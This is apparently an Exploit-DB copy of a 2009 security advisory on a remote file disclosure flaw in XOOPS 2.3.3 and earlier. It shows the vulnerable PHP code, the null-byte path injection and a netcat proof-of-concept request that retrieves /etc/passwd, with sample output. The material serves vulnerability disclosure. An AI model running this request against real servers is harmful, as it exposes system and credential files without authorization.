XOOPS 2.3.3 - '.htaccess' Remote File Disclosure

EDB-ID:

8974

CVE:

N/A

Author:

daath

Type:

webapps

Platform:

PHP

Published:

2009-06-16

  ======================================================================== 
              XOOPS <= 2.3.3 Remote Arbitrary File Retrieval
  ========================================================================
   
  Affected Software : XOOPS <= 2.3.3
  Author            : Luca "daath" De Fulgentis - daath[at]nibblesec[dot]org
  Advisory number   : NS-2009-01
  Advisory URL      : http://blog.nibblesec.org/advisories/NS-2009-01.txt
  Severity          : Low/Medium
  Local/Remote      : Remote


  [Summary]
 
  XOOPS is a web application platform written in PHP for the MySQL database.
  Its object orientation makes it an ideal tool for developing small or large
  community websites, intra company and corporate portals, weblogs and much
  more. (Reference : http://www.xoops.org).

  Nibble Security discovered a remote arbitrary file retrieval in XOOPS version
  2.3.3, which could be exploited to read system or XOOPS configuration files
  ("mainfile.php").


  [Vulnerability Details]

  A vulnerable read_file() function can be found in "module_icon.php" under
  /xoops_lib/modules/protector/. Here an image icon is read and its full
  pathname is constructed using a user-controllable variable called
  "$mydirpath" :

  =============================================================================
  [...]
  if( file_exists( $mydirpath.'/module_icon.png' ) ) {
      $use_custom_icon = true ;
      $icon_fullpath = $mydirpath.'/module_icon.png' ;
  } else {
      $use_custom_icon = false ;
      $icon_fullpath = dirname(__FILE__).'/module_icon.png' ;
  }

  [...]
  } else {

      readfile( $icon_fullpath ) ;
  }
  ?>
  =============================================================================

  If register_globals is enabled and magic_quotes_gpc disabled, it's possible
  to control the "$mydirpath" variable content and inject an arbitrary filename
  (followed by a NULL byte (%00) to make file_exists() function ignore the
  following "/module_icon.png"), resulting in file content inclusion in
  application response.


  [Proof of Concept Exploit]

  Some browsers (e.g. Mozilla Firefox) may refuse broken images (such as the
  one generated by the vulnerable script). Bacause of this netcat/telnet can be
  easily used to exploit this vulnerability :

  daath@shaytan:~$ echo -e "GET /xoops_lib/modules/protector/module_icon.php?
   mydirpath=/etc/passwd%00 HTTP/1.0\n\n" | nc 127.0.0.1 80

  HTTP/1.1 200 OK
  Date: Mon, 16 Mar 2009 19:07:03 GMT
  Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch
  X-Powered-By: PHP/5.2.6-2ubuntu4.1
  Expires: Mon, 16 Mar 2009 21:00:00 +0100
  Cache-Control: public, max-age=3600
  Last-Modified: Mon, 16 Mar 2009 20:00:00 +0100
  Content-Length: 1661
  Connection: close
  Content-Type: image/png

  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  bin:x:2:2:bin:/bin:/bin/sh
  [...]
  daath@shaytan:~$


  [Time Table]

  17/03/2009 - Vendor notified.
  17/03/2009 - Vendor response.
  28/05/2009 - Vendor re-contacted (no answer).
  16/06/2009 - Public disclosure.


  [Legal Notices]

  The information in the advisory is believed to be accurate at the 
  time of publishing based on currently available information. 
  This information is provided as-is, as a free service to the community. 
  There are no warranties with regard to this information.
  The author does not accept any liability for any direct, 
  indirect, or consequential loss or damage arising from use of, 
  or reliance on, this information.
  Permission is hereby granted for the redistribution of this alert,
  provided that the content is not altered in any way, except 
  reformatting, and that due credit is given.
  
  This vulnerability has been disclosed in accordance with the RFP 
  Full-Disclosure Policy v2.0, available at:
  http://www.wiretrip.net/rfp/policy.html



# Modules directory has an .htaccess file blocking php files from being accessed. Still the possibility is there. /str0ke

# milw0rm.com [2009-06-16]